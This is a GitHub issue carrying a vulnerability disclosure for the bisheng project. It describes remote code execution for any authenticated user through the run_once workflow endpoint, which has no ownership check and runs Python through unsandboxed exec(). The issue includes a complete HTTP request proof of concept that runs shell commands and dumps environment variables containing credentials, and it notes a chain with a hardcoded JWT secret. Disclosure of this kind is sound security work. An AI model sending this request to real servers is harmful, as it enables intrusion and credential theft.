Skip to content

Authenticated RCE via run_once endpoint -- missing ownership check on workflow and no code sandboxing #2189

Description

@geo-chen

reported https://github.com/dataelement/bisheng/security/advisories/GHSA-m3hr-jphq-xx9p/ on 1 June 2026 but no response.

Summary

The POST /api/v1/workflow/run_once endpoint executes a single workflow node on behalf of the caller. The service layer does not verify that the calling user owns or has access to the specified workflow. Any authenticated user can run a Code node (which executes arbitrary unsandboxed Python via exec()) against any workflow ID on the server, achieving remote code execution. The attack requires only a valid session token for any account.

Details

The API route in src/backend/bisheng/api/v1/workflow.py (lines 137-144) requires authentication but passes the request directly to WorkFlowService.run_once without an ownership or access check:

@router.post('/run_once', status_code=200)
def run_once(request: Request, login_user: UserPayload = Depends(UserPayload.get_login_user),
             node_input: Optional[dict] = None,
             node_data: dict = None,
             workflow_id: str = Body(..., description='The WorkflowID')):
    result = WorkFlowService.run_once(login_user, node_input, node_data, workflow_id)

WorkFlowService.run_once in src/backend/bisheng/api/services/workflow.py (lines 136-142) only checks if the workflow exists, not if the caller may access it:

@classmethod
def run_once(cls, login_user, node_input, node_data, workflow_id):
    workflow_info = FlowDao.get_flow_by_id(workflow_id)
    if not workflow_info:
        raise NotFoundError()
    # No access check here -- any authenticated user proceeds
    node_data = BaseNodeData(**node_data.get('data', {}))
    ...
    node = NodeFactory.instance_node(node_type=node_data.type, ...)

Compare with PATCH /api/v1/workflow/update/{flow_id}, which correctly gates access:

if not await login_user.async_access_check(db_flow.user_id, flow_id, AccessType.WORKFLOW_WRITE):
    return UnAuthorizedError.return_resp()

The Code node (workflow/nodes/code/code.py and code_parse.py) executes user-supplied Python using exec() with no sandbox:

def parse_functions(self, node: ast.FunctionDef) -> None:
    compiled_func = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
    exec(compiled_func, self.exec_globals, self.exec_locals)

The node_data payload (including the Python code) comes entirely from the request body -- there is no server-side code stored for the referenced workflow that is used instead. The workflow_id only gates a database lookup confirming the workflow exists; the actual code to run is provided inline by the attacker.

PoC

Prerequisites: a valid session token for any regular (non-admin) bisheng account.

Step 1 -- Obtain any workflow ID (a known ID of any workflow on the server, or enumerate via /api/v1/workflow/list).

Step 2 -- Execute arbitrary Python as the server process:

POST /api/v1/workflow/run_once HTTP/1.1
Host: <target>:7860
Cookie: access_token_cookie=<any_valid_token>
Content-Type: application/json

{
  "workflow_id": "<any_valid_workflow_id>",
  "node_input": {"x": 1},
  "node_data": {
    "data": {
      "id": "rce_node",
      "type": "code",
      "name": "RCE",
      "description": "",
      "group_params": [
        {
          "group_name": "params",
          "params": [
            {"key": "code_input", "value": [{"key": "x", "value": 1, "type": "input"}]},
            {"key": "code", "value": "def main(x):\n    import os, socket\n    return {'hostname': socket.gethostname(), 'whoami': os.popen('id').read(), 'env': str(os.environ)}\n"},
            {"key": "code_output", "value": [{"key": "hostname", "value": "", "type": "output"}, {"key": "whoami", "value": "", "type": "output"}, {"key": "env", "value": "", "type": "output"}]}
          ]
        }
      ]
    }
  }
}

Response (HTTP 200):

{
  "status_code": 200,
  "status_message": "SUCCESS",
  "data": [[{"key": "code_output", "value": {"hostname": "...", "whoami": "uid=0(root) ...", "env": "..."}, "type": "params"}]]
}

Confirmed output on the test server showed "env":"minioadmin" (the server's MinIO credentials from environment variables).

Impact

Any authenticated user -- including a guest or trial account with minimal permissions -- can execute arbitrary Python code on the server with the privileges of the bisheng backend process (typically root inside the container). The attacker gains full read/write access to the filesystem, environment variables (containing database and MinIO credentials), and the network. Combined with the hardcoded JWT secret vulnerability (finding 001), an unauthenticated attacker can obtain a valid token and then achieve unauthenticated RCE.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions